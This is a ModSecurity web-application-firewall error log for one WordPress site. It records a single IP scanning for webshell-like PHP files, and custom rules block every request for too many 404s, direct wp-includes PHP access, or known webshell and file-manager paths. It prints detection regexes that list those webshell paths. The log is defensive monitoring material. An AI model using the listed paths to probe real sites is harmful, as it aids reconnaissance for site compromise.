[Mon Apr 06 01:47:29.749036 2026] [:error] [pid 51580:tid 51660] [client 172.213.161.161:23065] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adKgMVNFl1NiyNgNZAk-QQAAAFU"]
[Mon Apr 06 01:47:30.621921 2026] [:error] [pid 51580:tid 51661] [client 172.213.161.161:34477] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adKgMlNFl1NiyNgNZAk-UQAAAFY"]
[Mon Apr 06 01:47:31.627918 2026] [:error] [pid 51581:tid 51686] [client 172.213.161.161:42906] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "adKgM94k74fhQLPUy7FLlgAAAJE"]
[Mon Apr 06 01:47:32.386408 2026] [:error] [pid 51753:tid 51836] [client 172.213.161.161:43521] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "adKgNK3pmp1JkaicYbuTKAAAARg"]
[Mon Apr 06 01:47:32.954272 2026] [:error] [pid 51581:tid 51677] [client 172.213.161.161:10359] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "adKgNN4k74fhQLPUy7FLnQAAAIg"]
[Mon Apr 06 01:47:33.472589 2026] [:error] [pid 51580:tid 51649] [client 172.213.161.161:18112] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "adKgNVNFl1NiyNgNZAk-ZwAAAEo"]
[Mon Apr 06 01:47:34.273327 2026] [:error] [pid 51580:tid 51654] [client 172.213.161.161:43559] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "adKgNlNFl1NiyNgNZAk-awAAAE8"]
[Mon Apr 06 01:47:34.984491 2026] [:error] [pid 51581:tid 51670] [client 172.213.161.161:14096] [client 172.213.161.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adKgNt4k74fhQLPUy7FLpwAAAIE"]
[Mon Apr 06 01:47:35.517143 2026] [:error] [pid 51584:tid 51714] [client 172.213.161.161:27544] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adKgN8Z4qY_GoNCPARAwlgAAANE"]
[Mon Apr 06 01:47:36.071638 2026] [:error] [pid 51753:tid 51821] [client 172.213.161.161:14383] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adKgOK3pmp1JkaicYbuTLgAAAQo"]
[Mon Apr 06 01:47:36.618922 2026] [:error] [pid 51753:tid 51832] [client 172.213.161.161:19498] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adKgOK3pmp1JkaicYbuTMwAAARU"]
[Mon Apr 06 01:47:37.228692 2026] [:error] [pid 51580:tid 51658] [client 172.213.161.161:2440] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adKgOVNFl1NiyNgNZAk-dwAAAFM"]
[Mon Apr 06 01:47:37.765967 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:19465] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "adKgOa3pmp1JkaicYbuTOgAAAQ0"]
[Mon Apr 06 01:47:38.297342 2026] [:error] [pid 51581:tid 51691] [client 172.213.161.161:2899] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "adKgOt4k74fhQLPUy7FLsAAAAJU"]
[Mon Apr 06 01:47:39.124115 2026] [:error] [pid 51581:tid 51675] [client 172.213.161.161:27536] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "adKgO94k74fhQLPUy7FLtQAAAIY"]
[Mon Apr 06 01:47:40.151897 2026] [:error] [pid 51753:tid 51819] [client 172.213.161.161:19969] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "adKgPK3pmp1JkaicYbuTSwAAAQg"]
[Mon Apr 06 01:47:42.900415 2026] [:error] [pid 51753:tid 51820] [client 172.213.161.161:19496] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "adKgPq3pmp1JkaicYbuTXAAAAQk"]
[Mon Apr 06 01:47:48.577254 2026] [:error] [pid 51580:tid 51650] [client 172.213.161.161:20015] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "adKgRFNFl1NiyNgNZAk-mwAAAEs"]
[Mon Apr 06 01:47:50.854922 2026] [:error] [pid 51580:tid 51661] [client 172.213.161.161:8480] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "adKgRlNFl1NiyNgNZAk-rgAAAFY"]
[Mon Apr 06 01:47:53.642218 2026] [:error] [pid 51581:tid 51670] [client 172.213.161.161:38142] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "adKgSd4k74fhQLPUy7FL7wAAAIE"]
[Mon Apr 06 01:47:58.160184 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:27191] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adKgTq3pmp1JkaicYbuTlgAAAQ0"]
[Mon Apr 06 01:48:00.246253 2026] [:error] [pid 51584:tid 51715] [client 172.213.161.161:8585] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adKgUMZ4qY_GoNCPARAwwQAAANI"]
[Mon Apr 06 01:48:04.121979 2026] [:error] [pid 51753:tid 51815] [client 172.213.161.161:2754] [client 172.213.161.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "adKgVK3pmp1JkaicYbuTvQAAAQQ"]
[Mon Apr 06 01:48:07.642180 2026] [:error] [pid 51584:tid 51719] [client 172.213.161.161:19539] [client 172.213.161.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "adKgV8Z4qY_GoNCPARAw3QAAANY"]
[Mon Apr 06 01:48:10.216898 2026] [:error] [pid 51581:tid 51693] [client 172.213.161.161:13788] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "adKgWt4k74fhQLPUy7FMFQAAAJc"]
[Mon Apr 06 01:48:11.040199 2026] [:error] [pid 51584:tid 51715] [client 172.213.161.161:9128] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "adKgW8Z4qY_GoNCPARAw6AAAANI"]
[Mon Apr 06 01:48:11.547898 2026] [:error] [pid 51580:tid 51658] [client 172.213.161.161:11049] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "adKgW1NFl1NiyNgNZAk_DgAAAFM"]
[Mon Apr 06 01:48:12.065322 2026] [:error] [pid 51580:tid 51641] [client 172.213.161.161:9766] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "adKgXFNFl1NiyNgNZAk_EwAAAEI"]
[Mon Apr 06 01:48:12.618473 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:10830] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/555.php"] [unique_id "adKgXK3pmp1JkaicYbuT6AAAAQ8"]
[Mon Apr 06 01:48:13.615656 2026] [:error] [pid 51580:tid 51647] [client 172.213.161.161:9748] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/555.php"] [unique_id "adKgXVNFl1NiyNgNZAk_GwAAAEg"]
[Mon Apr 06 01:48:14.215220 2026] [:error] [pid 51580:tid 51655] [client 172.213.161.161:9119] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/555.php"] [unique_id "adKgXlNFl1NiyNgNZAk_IAAAAFA"]
[Mon Apr 06 01:48:15.011197 2026] [:error] [pid 51753:tid 51826] [client 172.213.161.161:9092] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/555.php"] [unique_id "adKgX63pmp1JkaicYbuT9QAAAQ8"]
[Mon Apr 06 01:48:15.849613 2026] [:error] [pid 51580:tid 51648] [client 172.213.161.161:9091] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "adKgX1NFl1NiyNgNZAk_JwAAAEk"]
[Mon Apr 06 01:48:16.561249 2026] [:error] [pid 51580:tid 51658] [client 172.213.161.161:11024] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "adKgYFNFl1NiyNgNZAk_LgAAAFM"]
[Mon Apr 06 01:48:17.080547 2026] [:error] [pid 51580:tid 51642] [client 172.213.161.161:2755] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "adKgYVNFl1NiyNgNZAk_NAAAAEM"]
[Mon Apr 06 01:48:17.770828 2026] [:error] [pid 51753:tid 51811] [client 172.213.161.161:7363] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "adKgYa3pmp1JkaicYbuUBAAAAQA"]
[Mon Apr 06 01:48:18.469583 2026] [:error] [pid 51580:tid 51640] [client 172.213.161.161:19559] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "adKgYlNFl1NiyNgNZAk_SQAAAEE"]
[Mon Apr 06 01:48:19.039747 2026] [:error] [pid 51581:tid 51684] [client 172.213.161.161:28676] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "adKgY94k74fhQLPUy7FMHwAAAI8"]
[Mon Apr 06 01:48:19.519582 2026] [:error] [pid 51580:tid 51659] [client 172.213.161.161:19575] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "adKgY1NFl1NiyNgNZAk_UgAAAFQ"]
[Mon Apr 06 01:48:20.074278 2026] [:error] [pid 51584:tid 51708] [client 172.213.161.161:11030] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "adKgZMZ4qY_GoNCPARAxEAAAAMs"]
[Mon Apr 06 01:48:20.619864 2026] [:error] [pid 51581:tid 51694] [client 172.213.161.161:8618] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "adKgZN4k74fhQLPUy7FMJgAAAJg"]
[Mon Apr 06 01:48:21.219004 2026] [:error] [pid 51581:tid 51679] [client 172.213.161.161:9764] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "adKgZd4k74fhQLPUy7FMKQAAAIo"]
[Mon Apr 06 01:48:21.732484 2026] [:error] [pid 51581:tid 51678] [client 172.213.161.161:9735] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "adKgZd4k74fhQLPUy7FMLgAAAIk"]
[Mon Apr 06 01:48:22.270739 2026] [:error] [pid 51584:tid 51706] [client 172.213.161.161:9738] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "adKgZsZ4qY_GoNCPARAxGgAAAMk"]
[Mon Apr 06 01:48:22.855254 2026] [:error] [pid 51580:tid 51653] [client 172.213.161.161:11047] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adKgZlNFl1NiyNgNZAk_YwAAAE4"]
[Mon Apr 06 01:48:23.443202 2026] [:error] [pid 51753:tid 51824] [client 172.213.161.161:8598] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adKgZ63pmp1JkaicYbuUDQAAAQ0"]
[Mon Apr 06 01:48:24.073413 2026] [:error] [pid 51580:tid 51656] [client 172.213.161.161:9060] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adKgaFNFl1NiyNgNZAk_aAAAAFE"]
[Mon Apr 06 01:48:25.267020 2026] [:error] [pid 51580:tid 51652] [client 172.213.161.161:28699] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "adKgaVNFl1NiyNgNZAk_bQAAAE0"]
[Mon Apr 06 01:48:25.740856 2026] [:error] [pid 51753:tid 51832] [client 172.213.161.161:2382] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "adKgaa3pmp1JkaicYbuUFQAAARU"]
[Mon Apr 06 01:48:26.292297 2026] [:error] [pid 51753:tid 51835] [client 172.213.161.161:10850] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "adKgaq3pmp1JkaicYbuUGAAAARc"]
[Mon Apr 06 01:48:27.139655 2026] [:error] [pid 51581:tid 51675] [client 172.213.161.161:22521] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "adKga94k74fhQLPUy7FMNAAAAIY"]
[Mon Apr 06 01:48:27.735203 2026] [:error] [pid 51753:tid 51830] [client 172.213.161.161:39729] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "adKga63pmp1JkaicYbuUHQAAARM"]
[Mon Apr 06 01:48:28.381156 2026] [:error] [pid 51584:tid 51721] [client 172.213.161.161:11048] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "adKgbMZ4qY_GoNCPARAxMAAAANg"]
[Mon Apr 06 01:48:28.900084 2026] [:error] [pid 51584:tid 51715] [client 172.213.161.161:9728] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "adKgbMZ4qY_GoNCPARAxMgAAANI"]
[Mon Apr 06 01:48:29.484451 2026] [:error] [pid 51581:tid 51672] [client 172.213.161.161:28694] [client 172.213.161.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "adKgbd4k74fhQLPUy7FMOQAAAIM"]
